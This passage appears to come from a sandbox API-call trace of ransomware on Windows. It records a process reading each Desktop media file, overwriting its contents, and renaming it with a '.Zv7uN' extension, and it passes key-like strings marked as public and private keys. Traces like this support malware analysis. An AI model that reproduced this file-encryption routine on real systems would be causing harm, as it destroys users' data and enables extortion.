lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.197] GetCurrentThreadId () returned 0xa30 [0127.197] GetCurrentThreadId () returned 0xa30 [0127.197] GetCurrentThreadId () returned 0xa30 [0127.197] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wTlPzMDy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wtlpzmdy.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.197] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.198] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.198] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x14174 [0127.198] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.198] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x14174, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x14174, lpOverlapped=0x0) returned 1 [0127.201] CloseHandle (hObject=0x120) returned 1 [0127.203] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wTlPzMDy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wtlpzmdy.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.208] WriteFile (in: hFile=0x120, lpBuffer=0x1f0efa0*, nNumberOfBytesToWrite=0x14174, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f0efa0*, lpNumberOfBytesWritten=0x18f978*=0x14174, lpOverlapped=0x0) returned 1 [0127.213] CloseHandle (hObject=0x120) returned 1 [0127.214] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wTlPzMDy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wtlpzmdy.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\wTlPzMDy.mp3.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wtlpzmdy.mp3.zv7un")) returned 1 [0127.216] GetCurrentThreadId () returned 0xa30 [0127.216] GetCurrentThreadId () returned 0xa30 [0127.216] GetCurrentThreadId () returned 0xa30 [0127.217] GetCurrentThreadId () returned 0xa30 [0127.217] GetCurrentThreadId () returned 0xa30 [0127.217] GetCurrentThreadId () returned 0xa30 [0127.217] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440b6ea0, ftCreationTime.dwHighDateTime=0x1d5e71f, ftLastAccessTime.dwLowDateTime=0x1c1bdd70, ftLastAccessTime.dwHighDateTime=0x1d5e063, ftLastWriteTime.dwLowDateTime=0x1c1bdd70, ftLastWriteTime.dwHighDateTime=0x1d5e063, nFileSizeHigh=0x0, nFileSizeLow=0x7da9, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="y4Np_.m4a", cAlternateFileName="")) returned 1 [0127.217] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.217] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.217] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y4Np_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y4np_.m4a"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440b6ea0, ftCreationTime.dwHighDateTime=0x1d5e71f, ftLastAccessTime.dwLowDateTime=0x1c1bdd70, ftLastAccessTime.dwHighDateTime=0x1d5e063, ftLastWriteTime.dwLowDateTime=0x1c1bdd70, ftLastWriteTime.dwHighDateTime=0x1d5e063, nFileSizeHigh=0x0, nFileSizeLow=0x7da9)) returned 1 [0127.217] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y4Np_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y4np_.m4a")) returned 0x20 [0127.217] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y4Np_.m4a", dwFileAttributes=0x80) returned 1 [0127.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.220] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.221] GetCurrentThreadId () returned 0xa30 [0127.221] GetCurrentThreadId () returned 0xa30 [0127.221] GetCurrentThreadId () returned 0xa30 [0127.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.222] GetCurrentThreadId () returned 0xa30 [0127.222] GetCurrentThreadId () returned 0xa30 [0127.222] GetCurrentThreadId () returned 0xa30 [0127.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y4Np_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y4np_.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.222] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.223] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.223] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x7da9 [0127.223] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.223] ReadFile (in: hFile=0x120, lpBuffer=0x1ef8f70, nNumberOfBytesToRead=0x7da9, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef8f70*, lpNumberOfBytesRead=0x18f96c*=0x7da9, lpOverlapped=0x0) returned 1 [0127.226] CloseHandle (hObject=0x120) returned 1 [0127.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y4Np_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y4np_.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0127.230] WriteFile (in: hFile=0x120, lpBuffer=0x1f00fa0*, nNumberOfBytesToWrite=0x7da9, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f00fa0*, lpNumberOfBytesWritten=0x18f978*=0x7da9, lpOverlapped=0x0) returned 1 [0127.233] CloseHandle (hObject=0x120) returned 1 [0127.306] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y4Np_.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y4np_.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y4Np_.m4a.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y4np_.m4a.zv7un")) returned 1 [0127.308] GetCurrentThreadId () returned 0xa30 [0127.308] GetCurrentThreadId () returned 0xa30 [0127.308] GetCurrentThreadId () returned 0xa30 [0127.308] GetCurrentThreadId () returned 0xa30 [0127.308] GetCurrentThreadId () returned 0xa30 [0127.308] GetCurrentThreadId () returned 0xa30 [0127.309] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440b6ea0, ftCreationTime.dwHighDateTime=0x1d5e71f, ftLastAccessTime.dwLowDateTime=0x1c1bdd70, ftLastAccessTime.dwHighDateTime=0x1d5e063, ftLastWriteTime.dwLowDateTime=0x1c1bdd70, ftLastWriteTime.dwHighDateTime=0x1d5e063, nFileSizeHigh=0x0, nFileSizeLow=0x7da9, dwReserved0=0x41c6879a, dwReserved1=0xba1113e9, cFileName="y4Np_.m4a", cAlternateFileName="")) returned 0 [0127.309] GetLastError () returned 0x12 [0127.309] FindClose (in: 